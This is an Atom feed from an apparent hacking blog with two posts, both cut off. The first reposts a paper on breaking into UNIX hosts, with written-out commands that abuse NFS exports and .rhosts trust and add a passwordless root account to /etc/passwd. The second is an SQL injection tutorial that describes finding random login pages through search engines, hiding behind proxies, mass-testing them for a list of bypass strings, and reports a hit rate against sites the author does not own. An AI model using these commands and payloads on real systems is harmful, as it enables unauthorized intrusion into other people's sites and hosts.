<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2695626566300699089</id><updated>2012-01-10T00:51:21.926-08:00</updated><category term='PC SECURITY HACK'/><category term='हक्किंग इप एड्रेस'/><category term='हैक हक्किंग ईमेल टिप्स त्रिक्क्स'/><category term='Ethical Hacking  Explanation'/><title type='text'>Hacking</title><subtitle type='html'>all about hacking &amp; tips daa !!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>24</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-4722512781577684923</id><published>2007-11-16T09:09:00.000-08:00</published><updated>2007-11-16T09:10:50.139-08:00</updated><title type='text'>Improving the Security of Your Site by Breaking Into it</title><content type='html'>Introduction&lt;br /&gt;&lt;br /&gt;------------&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Every day, all over the world, computer networks and hosts are being&lt;br /&gt;&lt;br /&gt;broken into.   The level of sophistication of these attacks varies&lt;br /&gt;&lt;br /&gt;widely; while it is generally believed that most break-ins succeed due&lt;br /&gt;&lt;br /&gt;to weak passwords, there are still a large number of intrusions that use&lt;br /&gt;&lt;br /&gt;more advanced techniques to break in.   Less is known about the latter&lt;br /&gt;&lt;br /&gt;types of break-ins, because by their very nature they are much harder to&lt;br /&gt;&lt;br /&gt;detect.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;CERT.   SRI.   The Nic.   NCSC.   RSA.   NASA.   MIT.   Uunet.   Berkeley .&lt;br /&gt;&lt;br /&gt;Purdue.   Sun.   You name it, we've seen it broken into.   Anything that is&lt;br /&gt;&lt;br /&gt;on the Internet (and many that isn't) seems to be fairly easy game.   Are&lt;br /&gt;&lt;br /&gt;these targets unusual?   What happened?&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Fade to...&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;A young boy, with greasy blonde hair, sitting in a dark room.   The room&lt;br /&gt;&lt;br /&gt;is illuminated only by the luminescense of the C64's 40 character&lt;br /&gt;&lt;br /&gt;screen.   Taking another long drag from his Benson and Hedges cigarette,&lt;br /&gt;&lt;br /&gt;the weary system cracker telnets to the next faceless ".mil" site on his&lt;br /&gt;&lt;br /&gt;hit list.   "guest -- guest", "root -- root", and "system -- manager" all&lt;br /&gt;&lt;br /&gt;fail.   No matter.   He has all night... he pencils the host off of his&lt;br /&gt;&lt;br /&gt;list, and tiredly types in the next potential victim...&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;This seems to be the popular image of a system cracker.   Young,&lt;br /&gt;&lt;br /&gt;inexperienced, and possessing vast quantities of time to waste, to get&lt;br /&gt;&lt;br /&gt;into just one more system.   However, there is a far more dangerous type&lt;br /&gt;&lt;br /&gt;of system cracker out there.   One who knows the ins and outs of the&lt;br /&gt;&lt;br /&gt;latest security auditing and cracking tools, who can modify them for&lt;br /&gt;&lt;br /&gt;specific attacks, and who can write his/her own programs.   One who not&lt;br /&gt;&lt;br /&gt;only reads about the latest security holes, but also personally&lt;br /&gt;&lt;br /&gt;discovers bugs and vulnerabilities.   A deadly creature that can both&lt;br /&gt;&lt;br /&gt;strike poisonously and hide its tracks without a whisper or hint of a&lt;br /&gt;&lt;br /&gt;trail.   The uebercracker is here.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's&lt;br /&gt;&lt;br /&gt;uebermensch, or, literally translated into English, "over man."&lt;br /&gt;&lt;br /&gt;Nietzsche used the term not to refer to a comic book superman, but&lt;br /&gt;&lt;br /&gt;instead a man who had gone beyond the incompetence, pettiness, and&lt;br /&gt;&lt;br /&gt;weakness of the everyday man.   The uebercracker is therefore the system&lt;br /&gt;&lt;br /&gt;cracker who has gone beyond simple cookbook methods of breaking into&lt;br /&gt;&lt;br /&gt;systems.   An uebercracker is not usually motivated to perform random&lt;br /&gt;&lt;br /&gt;acts of violence.   Targets are not arbitrary -- there is a purpose,&lt;br /&gt;&lt;br /&gt;whether it be personal monetary gain, a hit and run raid for&lt;br /&gt;&lt;br /&gt;information, or a challenge to strike a major or prestigious site or&lt;br /&gt;&lt;br /&gt;net.personality.   An uebercracker is hard to detect, harder to stop, and&lt;br /&gt;&lt;br /&gt;hardest to keep out of your site for good.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Overview&lt;br /&gt;&lt;br /&gt;--------&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;In this paper we will take an unusual approach to system security.&lt;br /&gt;&lt;br /&gt;Instead of merely saying that something is a problem, we will look&lt;br /&gt;&lt;br /&gt;through the eyes of a potential intruder, and show _why_ it is one.   We&lt;br /&gt;&lt;br /&gt;will illustrate that even seemingly harmless network services can become&lt;br /&gt;&lt;br /&gt;valuable tools in the search for weak points of a system, even when&lt;br /&gt;&lt;br /&gt;these services are operating exactly as they are intended to.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;In an effort to shed some light on how more advanced intrusions occur,&lt;br /&gt;&lt;br /&gt;this paper outlines various mechanisms that crackers have actually used&lt;br /&gt;&lt;br /&gt;to obtain access to systems and, in addition, some techniques we either&lt;br /&gt;&lt;br /&gt;suspect intruders of using, or that we have used ourselves in tests or&lt;br /&gt;&lt;br /&gt;in friendly/authorized environments.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Our motivation for writing this paper is that system administrators are&lt;br /&gt;&lt;br /&gt;often unaware of the dangers presented by anything beyond the most&lt;br /&gt;&lt;br /&gt;trivial attacks.   While it is widely known that the proper level of&lt;br /&gt;&lt;br /&gt;protection depends on what has to be protected, many sites appear to&lt;br /&gt;&lt;br /&gt;lack the resources to assess what level of host and network security is&lt;br /&gt;&lt;br /&gt;adequate.   By showing what intruders can do to gain access to a remote&lt;br /&gt;&lt;br /&gt;site, we are trying to help system administrators to make _informed_&lt;br /&gt;&lt;br /&gt;decisions on how to secure their site -- or not.   We will limit the&lt;br /&gt;&lt;br /&gt;discussion to techniques that can give a remote intruder access to a&lt;br /&gt;&lt;br /&gt;(possibly non-interactive) shell process on a UNIX host.   Once this is&lt;br /&gt;&lt;br /&gt;achieved, the details of obtaining root privilege are beyond the scope&lt;br /&gt;&lt;br /&gt;of this work -- we consider them too site-dependent and, in many cases,&lt;br /&gt;&lt;br /&gt;too trivial to merit much discussion.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;We want to stress that we will not merely run down a list of bugs or&lt;br /&gt;&lt;br /&gt;security holes -- there will always be new ones for a potential attacker&lt;br /&gt;&lt;br /&gt;to exploit.   The purpose of this paper is to try to get the reader to&lt;br /&gt;&lt;br /&gt;look at her or his system in a new way -- one that will hopefully afford&lt;br /&gt;&lt;br /&gt;him or her the opportunity to _understand_ how their system can be&lt;br /&gt;&lt;br /&gt;compromised, and how.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;We would also like to reiterate to the reader that the purpose of this&lt;br /&gt;&lt;br /&gt;paper is to show you how to test the security of your own site, not how&lt;br /&gt;&lt;br /&gt;to break into other people's systems.   The intrusion techniques we&lt;br /&gt;&lt;br /&gt;illustrate here will often leave traces in your system auditing logs --&lt;br /&gt;&lt;br /&gt;it might be constructive to examine them after trying some of these&lt;br /&gt;&lt;br /&gt;attacks out, to see what a real attack might look like.   Certainly other&lt;br /&gt;&lt;br /&gt;sites and system administrators will take a very dim view of your&lt;br /&gt;&lt;br /&gt;activities if you decide to use their hosts for security testing without&lt;br /&gt;&lt;br /&gt;advance authorization; indeed, it is quite possible that legal action&lt;br /&gt;&lt;br /&gt;may be pursued against you if they perceive it as an attack.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;There are four main parts to the paper.   The first part is the&lt;br /&gt;&lt;br /&gt;introduction and overview.   The second part attempts to give the reader&lt;br /&gt;&lt;br /&gt;a feel for what it is like to be an intruder and how to go from knowing&lt;br /&gt;&lt;br /&gt;nothing about a system to compromising its security.   This section goes&lt;br /&gt;&lt;br /&gt;over actual techniques to gain information and entrance and covers basic&lt;br /&gt;&lt;br /&gt;strategies such as exploiting trust and abusing improperly configured&lt;br /&gt;&lt;br /&gt;basic network services (ftp, mail, tftp, etc.)   It also discusses&lt;br /&gt;&lt;br /&gt;slightly more advanced topics, such as NIS and NFS, as well as various&lt;br /&gt;&lt;br /&gt;common bugs and configuration problems that are somewhat more OS or&lt;br /&gt;&lt;br /&gt;system specific.   Defensive strategies against each of the various&lt;br /&gt;&lt;br /&gt;attacks are also covered here.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;The third section deals with trust: how the security of one system&lt;br /&gt;&lt;br /&gt;depends on the integrity of other systems.   Trust is the most complex&lt;br /&gt;&lt;br /&gt;subject in this paper, and for the sake of brevity we will limit the&lt;br /&gt;&lt;br /&gt;discussion to clients in disguise.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;The fourth section covers the basic steps that a system administrator&lt;br /&gt;&lt;br /&gt;may take to protect her or his system.   Most of the methods presented&lt;br /&gt;&lt;br /&gt;here are merely common sense, but they are often ignored in practice --&lt;br /&gt;&lt;br /&gt;one of our goals is to show just how dangerous it can be to ignore basic&lt;br /&gt;&lt;br /&gt;security practices.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Case studies, pointers to security-related information, and software are&lt;br /&gt;&lt;br /&gt;described in the appendices at the end of the paper.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;While exploring the methods and strategies discussed in this paper we we&lt;br /&gt;&lt;br /&gt;wrote SATAN (Security Analysis Tool for Auditing Networks.)   Written in&lt;br /&gt;&lt;br /&gt;shell, perl, expect and C, it examines a remote host or set of hosts and&lt;br /&gt;&lt;br /&gt;gathers as much information as possible by remotely probing NIS, finger,&lt;br /&gt;&lt;br /&gt;NFS, ftp and tftp, rexd, and other services.   This information includes&lt;br /&gt;&lt;br /&gt;the presence of various network information services as well as&lt;br /&gt;&lt;br /&gt;potential security flaws -- usually in the form of incorrectly setup or&lt;br /&gt;&lt;br /&gt;configured network services, well-known bugs in system or network&lt;br /&gt;&lt;br /&gt;utilities, or poor or ignorant policy decisions.   It then can either&lt;br /&gt;&lt;br /&gt;report on this data or use an expert system to further investigate any&lt;br /&gt;&lt;br /&gt;potential security problems.   While SATAN doesn't use all of the methods&lt;br /&gt;&lt;br /&gt;that we discuss in the paper, it has succeeded with ominous regularity&lt;br /&gt;&lt;br /&gt;in finding serious holes in the security of Internet sites.   It will be&lt;br /&gt;&lt;br /&gt;posted and made available via anonymous ftp when completed; Appendix A&lt;br /&gt;&lt;br /&gt;covers its salient features.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Note that it isn't possible to cover all possible methods of breaking&lt;br /&gt;&lt;br /&gt;into systems in a single paper.   Indeed, we won't cover two of the most&lt;br /&gt;&lt;br /&gt;effective methods of breaking into hosts: social engineering and&lt;br /&gt;&lt;br /&gt;password cracking.   The latter method is so effective, however, that&lt;br /&gt;&lt;br /&gt;several of the strategies presented here are geared towards acquiring&lt;br /&gt;&lt;br /&gt;password files.   In addition, while windowing systems (X, OpenWindows,&lt;br /&gt;&lt;br /&gt;etc.) can provide a fertile ground for exploitation, we simply don't&lt;br /&gt;&lt;br /&gt;know many methods that are used to break into remote systems.   Many&lt;br /&gt;&lt;br /&gt;system crackers use non-bitmapped terminals which can prevent them from&lt;br /&gt;&lt;br /&gt;using some of the more interesting methods to exploit windowing systems&lt;br /&gt;&lt;br /&gt;effectively (although being able to monitor the victim's keyboard is&lt;br /&gt;&lt;br /&gt;often sufficient to capture passwords).   Finally, while worms, viruses,&lt;br /&gt;&lt;br /&gt;trojan horses, and other malware are very interesting, they are not&lt;br /&gt;&lt;br /&gt;common (on UNIX systems) and probably will use similar techniques to the&lt;br /&gt;&lt;br /&gt;ones we describe in this paper as individual parts to their attack&lt;br /&gt;&lt;br /&gt;strategy.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Gaining Information&lt;br /&gt;&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Let us assume that you are the head system administrator of Victim&lt;br /&gt;&lt;br /&gt;Incorporated's network of UNIX workstations.   In an effort to secure&lt;br /&gt;&lt;br /&gt;your machines, you ask a friendly system administrator from a nearby&lt;br /&gt;&lt;br /&gt;site (evil.com) to give you an account on one of her machines so that&lt;br /&gt;&lt;br /&gt;you can look at your own system's security from the outside.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;What should you do?   First, try to gather information about your&lt;br /&gt;&lt;br /&gt;(target) host.   There is a wealth of network services to look at:&lt;br /&gt;&lt;br /&gt;finger, showmount, and rpcinfo are good starting points.   But don't stop&lt;br /&gt;&lt;br /&gt;there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp,&lt;br /&gt;&lt;br /&gt;and as many other services as you can find.   There are so many methods&lt;br /&gt;&lt;br /&gt;and techniques that space precludes us from showing all of them, but we&lt;br /&gt;&lt;br /&gt;will try to show a cross-section of the most common and/or dangerous&lt;br /&gt;&lt;br /&gt;strategies that we have seen or have thought of.   Ideally, you would&lt;br /&gt;&lt;br /&gt;gather such information about all hosts on the subnet or area of attack&lt;br /&gt;&lt;br /&gt;-- information is power -- but for now we'll examine only our intended&lt;br /&gt;&lt;br /&gt;target.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;To start out, you look at what the ubiquitous finger command shows you&lt;br /&gt;&lt;br /&gt;(assume it is 6pm, Nov 6, 1993):&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  victim % finger @victim.com&lt;br /&gt;&lt;br /&gt;  [victim.com]&lt;br /&gt;&lt;br /&gt;  Login        Name              TTY Idle      When     Where&lt;br /&gt;&lt;br /&gt;  zen       Dr.   Fubar            co    1d   Wed 08:00    death.com&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Good!   A single idle user -- it is likely that no one will notice if you&lt;br /&gt;&lt;br /&gt;actually manage to break in.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Now you try more tactics.   As every finger devotee knows, fingering "@",&lt;br /&gt;&lt;br /&gt;"0", and "", as well as common names, such as root, bin, ftp, system,&lt;br /&gt;&lt;br /&gt;guest, demo, manager, etc., can reveal interesting information.   What&lt;br /&gt;&lt;br /&gt;that information is depends on the version of finger that your target is&lt;br /&gt;&lt;br /&gt;running, but the most notable are account names, along with their home&lt;br /&gt;&lt;br /&gt;directories and the host that they last logged in from.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;To add to this information, you can use rusers (in particular with the&lt;br /&gt;&lt;br /&gt;-l flag) to get useful information on logged-in users.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Trying these commands on victim.com reveals the following information,&lt;br /&gt;&lt;br /&gt;presented in a compressed tabular form to save space:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  Login    Home-dir     Shell       Last login, from where&lt;br /&gt;&lt;br /&gt;  -----    --------      -----       ----------------------&lt;br /&gt;&lt;br /&gt;  root     /            /bin/sh     Fri Nov 5 07:42 on ttyp1 from big.victim.com&lt;br /&gt;&lt;br /&gt;  bin      /bin                    Never logged in&lt;br /&gt;&lt;br /&gt;  nobody   /                       Tue Jun 15 08:57 on ttyp2 from server.victim.co&lt;br /&gt;&lt;br /&gt;  daemon   /                        Tue Mar 23 12:14 on ttyp0 from big.victim.com&lt;br /&gt;&lt;br /&gt;  sync     /            /bin/sync   Tue Mar 23 12:14 on ttyp0 from big.victim.com&lt;br /&gt;&lt;br /&gt;  zen      /home/zen    /bin/bash   On since Wed Nov   6 on ttyp3 from death.com&lt;br /&gt;&lt;br /&gt;  sam      /home/sam    /bin/csh    Wed Nov   5 05:33 on ttyp3 from evil.com&lt;br /&gt;&lt;br /&gt;  guest    /export/foo /bin/sh     Never logged in&lt;br /&gt;&lt;br /&gt;  ftp      /home/ftp               Never logged in&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Both our experiments with SATAN and watching system crackers at work&lt;br /&gt;&lt;br /&gt;have proved to us that finger is one of the most dangerous services,&lt;br /&gt;&lt;br /&gt;because it is so useful for investigating a potential target.   However,&lt;br /&gt;&lt;br /&gt;much of this information is useful only when used in conjunction with&lt;br /&gt;&lt;br /&gt;other data.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;For instance, running showmount on your target reveals:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  evil % showmount -e victim.com&lt;br /&gt;&lt;br /&gt;  export list for victim.com:&lt;br /&gt;&lt;br /&gt;  /export                             (everyone)&lt;br /&gt;&lt;br /&gt;  /var                                (everyone)&lt;br /&gt;&lt;br /&gt;  /usr                                easy&lt;br /&gt;&lt;br /&gt;  /export/exec/kvm/sun4c.sunos.4.1.3 easy&lt;br /&gt;&lt;br /&gt;  /export/root/easy                   easy&lt;br /&gt;&lt;br /&gt;  /export/swap/easy                   easy&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Note that /export/foo is exported to the world; also note that this is&lt;br /&gt;&lt;br /&gt;user guest's home directory.   Time for your first break-in!   In this&lt;br /&gt;&lt;br /&gt;case, you'll mount the home directory of user "guest."   Since you don't&lt;br /&gt;&lt;br /&gt;have a corresponding account on the local machine and since root cannot&lt;br /&gt;&lt;br /&gt;modify files on an NFS mounted filesystem, you create a "guest" account&lt;br /&gt;&lt;br /&gt;in your local password file.   As user guest you can put an .rhosts entry&lt;br /&gt;&lt;br /&gt;in the remote guest home directory, which will allow you to login to the&lt;br /&gt;&lt;br /&gt;target machine without having to supply a password.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  evil # mount victim.com:/export/foo /foo&lt;br /&gt;&lt;br /&gt;  evil # cd /foo&lt;br /&gt;&lt;br /&gt;  evil # ls -lag&lt;br /&gt;&lt;br /&gt;  total 3&lt;br /&gt;&lt;br /&gt;    1 drwxr-xr-x 11 root      daemon         512 Jun 19 09:47 .&lt;br /&gt;&lt;br /&gt;    1 drwxr-xr-x   7 root      wheel           512 Jul 19   1991 ..&lt;br /&gt;&lt;br /&gt;    1 drwx--x--x   9 10001     daemon        1024 Aug   3 15:49 guest&lt;br /&gt;&lt;br /&gt;  evil # echo guest:x:10001:1:temporary breakin account:/: &gt;&gt; /etc/passwd&lt;br /&gt;&lt;br /&gt;  evil # ls -lag&lt;br /&gt;&lt;br /&gt;  total 3&lt;br /&gt;&lt;br /&gt;    1 drwxr-xr-x 11 root      daemon         512 Jun 19 09:47 .&lt;br /&gt;&lt;br /&gt;     1 drwxr-xr-x   7 root      wheel          512 Jul 19   1991 ..&lt;br /&gt;&lt;br /&gt;    1 drwx--x--x   9 guest     daemon        1024 Aug   3 15:49 guest&lt;br /&gt;&lt;br /&gt;  evil # su guest&lt;br /&gt;&lt;br /&gt;  evil % echo evil.com &gt;&gt; guest/.rhosts&lt;br /&gt;&lt;br /&gt;  evil % rlogin victim.com&lt;br /&gt;&lt;br /&gt;                Welcome to victim.com!&lt;br /&gt;&lt;br /&gt;  victim %&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;If, instead of home directories, victim.com were exporting filesystems&lt;br /&gt;&lt;br /&gt;with user commands (say, /usr or /usr/local/bin), you could replace a&lt;br /&gt;&lt;br /&gt;command with a trojan horse that executes any command of your choice.&lt;br /&gt;&lt;br /&gt;The next user to execute that command would execute your program.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;We suggest that filesystems be exported:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;o    Read/write only to specific, trusted clients.&lt;br /&gt;&lt;br /&gt;o    Read-only, where possible (data or programs can often be&lt;br /&gt;&lt;br /&gt;    exported in this manner.)&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;If the target has a "+" wildcard in its /etc/hosts.equiv (the default in&lt;br /&gt;&lt;br /&gt;various vendor's machines) or has the netgroups bug (CERT advisory&lt;br /&gt;&lt;br /&gt;91:12), any non-root user with a login name in the target's password&lt;br /&gt;&lt;br /&gt;file can rlogin to the target without a password.   And since the user&lt;br /&gt;&lt;br /&gt;"bin" often owns key files and directories, your next attack is to try&lt;br /&gt;&lt;br /&gt;to log in to the target host and modify the password file to let you&lt;br /&gt;&lt;br /&gt;have root access:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  evil % whoami&lt;br /&gt;&lt;br /&gt;  bin&lt;br /&gt;&lt;br /&gt;  evil % rsh victim.com csh -i&lt;br /&gt;&lt;br /&gt;  Warning: no access to tty; thus no job control in this shell...&lt;br /&gt;&lt;br /&gt;  victim %   ls -ldg /etc&lt;br /&gt;&lt;br /&gt;  drwxr-sr-x   8 bin       staff         2048 Jul 24 18:02 /etc&lt;br /&gt;&lt;br /&gt;  victim %   cd /etc&lt;br /&gt;&lt;br /&gt;  victim %   mv passwd pw.old&lt;br /&gt;&lt;br /&gt;  victim %   (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) &gt; passwd&lt;br /&gt;&lt;br /&gt;  victim % ^D&lt;br /&gt;&lt;br /&gt;  evil % rlogin victim.com -l toor&lt;br /&gt;&lt;br /&gt;                Welcome to victim.com!&lt;br /&gt;&lt;br /&gt;  victim #&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;A few notes about the method used above; "rsh victim.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-4722512781577684923?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/4722512781577684923/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=4722512781577684923' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/4722512781577684923'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/4722512781577684923'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/11/improving-security-of-your-site-by.html' title='Improving the Security of Your Site by Breaking Into it'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-7495616845969935450</id><published>2007-11-16T08:15:00.000-08:00</published><updated>2007-11-16T08:17:27.719-08:00</updated><title type='text'>SQL injection  Basic Tutorial</title><content type='html'>One of the major problems with SQL is its poor security issues surrounding is the login and url strings.&lt;br /&gt;this tutorial is not going to go into detail on why these string work &lt;br /&gt;&lt;br /&gt;SEARCH:&lt;br /&gt;&lt;br /&gt;admin\login.asp&lt;br /&gt;login.asp&lt;br /&gt;&lt;br /&gt;with these two search string you will have plenty of targets to chose from...finding one thats vulnerable is another question&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;WHAT I DO :&lt;br /&gt;&lt;br /&gt;first let me go into details on how i go about my research&lt;br /&gt;&lt;br /&gt;i have gathered plenty of injection strings for quite some time like these below and have just been granted access to a test machine and will be testing for many variations and new inputs...legally cool...provided by my good friend Gsecur aka ICE..also an Astal member.. http://governmentsecurity.org "thanks mate" .. gives me a chance to concentrate on what am doing and not be looking over my shoulder&lt;br /&gt;&lt;br /&gt;INJECTION STRINGS:HOW ?&lt;br /&gt;&lt;br /&gt;this is the easiest part...very simple&lt;br /&gt;&lt;br /&gt;on the login page just enter something like&lt;br /&gt;&lt;br /&gt;user:admin (you dont even have to put this.)&lt;br /&gt;pass:' or 1=1--&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;user:' or 1=1--&lt;br /&gt;admin:' or 1=1--&lt;br /&gt;&lt;br /&gt;some sites will have just a password so&lt;br /&gt;&lt;br /&gt;password:' or 1=1--&lt;br /&gt;&lt;br /&gt;infact i have compiled a combo list with strings like this to use on my chosen targets ....there are plenty of strings about , the list below is a sample of the most common used&lt;br /&gt;&lt;br /&gt;there are many other strings involving for instance UNION table access via reading the error pages table structure&lt;br /&gt;thus an attack with this method will reveal eventually admin U\P paths...but thats another paper&lt;br /&gt;&lt;br /&gt;the one am interested in are quick access to targets&lt;br /&gt;&lt;br /&gt;PROGRAM&lt;br /&gt;&lt;br /&gt;i tried several programs to use with these search strings and upto now only Ares has peformed well with quite a bit&lt;br /&gt;of success with a combo list formatted this way,yesteday i loaded 40 eastern targets with 18 positive hits in a few minutes&lt;br /&gt;how long would it take to go thought 40 sites cutting and pasting each string ??&lt;br /&gt;&lt;br /&gt;combo example:&lt;br /&gt;&lt;br /&gt;admin:' or a=a--&lt;br /&gt;admin:' or 1=1--&lt;br /&gt;&lt;br /&gt;and so on...it dont have to be admin can be anything you want... the most important part is example:' or 1=1-- this is our injection&lt;br /&gt;string&lt;br /&gt;&lt;br /&gt;now the only trudge part is finding targets to exploit...so i tend to search say google for login.asp or whatever&lt;br /&gt;&lt;br /&gt;inurl:login.asp&lt;br /&gt;index of:/admin/login.asp&lt;br /&gt;&lt;br /&gt;like this: index of login.asp&lt;br /&gt;&lt;br /&gt;result:&lt;br /&gt;&lt;br /&gt;http://www3.google.com/search?hl=en&amp;ie=ISO...G=Google+Search&lt;br /&gt;&lt;br /&gt;17,000 possible targets trying various searches spews out plent more&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now using proxys set in my browser i then click through interesting targets...seeing whats what on the site pages if interesting&lt;br /&gt;i then cut and paste url as a possible target...after an hour or so you have a list of sites of potential targets like so&lt;br /&gt;&lt;br /&gt;http://www.somesite.com/login.asp&lt;br /&gt;http://www.another.com/admin/login.asp&lt;br /&gt;&lt;br /&gt;and so on...in a couple of hours you can build up quite a list...reason i dont sellect all results or spider for login pages is&lt;br /&gt;i want to keep the noise level low...my ISP.. well enough said...plus atm am on dial-up so to slow for me&lt;br /&gt;&lt;br /&gt;i then save the list fire up Ares and enter (1) a proxy list (2)my target IP list (3)my combo list...start..now i dont want to go into&lt;br /&gt;problems with users using Ares..thing is i know it works for me...&lt;br /&gt;&lt;br /&gt;sit back and wait...any target vulnerable with show up in the hits box...now when it finds a target it will spew all the strings on that site as vulnerable...you have to go through each one on the site by cutting and pasting the string till you find the right one..but the thing is you know you CAN access the site ...really i need a program that will return the hit with a click on url and ignore false outputs&lt;br /&gt;&lt;br /&gt;am still looking....thing is it saves quite a bit of time going to each site and each string to find its not exploitable.&lt;br /&gt;&lt;br /&gt;there you go you should have access to your vulnerable target by now&lt;br /&gt;&lt;br /&gt;another thing you can use the strings in the urls were user=? edit the url to the = part and paste ' or 1=1-- so it becomes&lt;br /&gt;&lt;br /&gt;user=' or 1=1-- just as quick as login process&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(Variations)&lt;br /&gt;&lt;br /&gt;admin'--&lt;br /&gt;&lt;br /&gt;' or 0=0 --&lt;br /&gt;&lt;br /&gt;" or 0=0 --&lt;br /&gt;&lt;br /&gt;or 0=0 --&lt;br /&gt;&lt;br /&gt;' or 0=0 #&lt;br /&gt;&lt;br /&gt;" or 0=0 #&lt;br /&gt;&lt;br /&gt;or 0=0 #&lt;br /&gt;&lt;br /&gt;' or 'x'='x&lt;br /&gt;&lt;br /&gt;" or "x"="x&lt;br /&gt;&lt;br /&gt;') or ('x'='x&lt;br /&gt;&lt;br /&gt;' or 1=1--&lt;br /&gt;&lt;br /&gt;" or 1=1--&lt;br /&gt;&lt;br /&gt;or 1=1--&lt;br /&gt;&lt;br /&gt;' or a=a--&lt;br /&gt;&lt;br /&gt;" or "a"="a&lt;br /&gt;&lt;br /&gt;') or 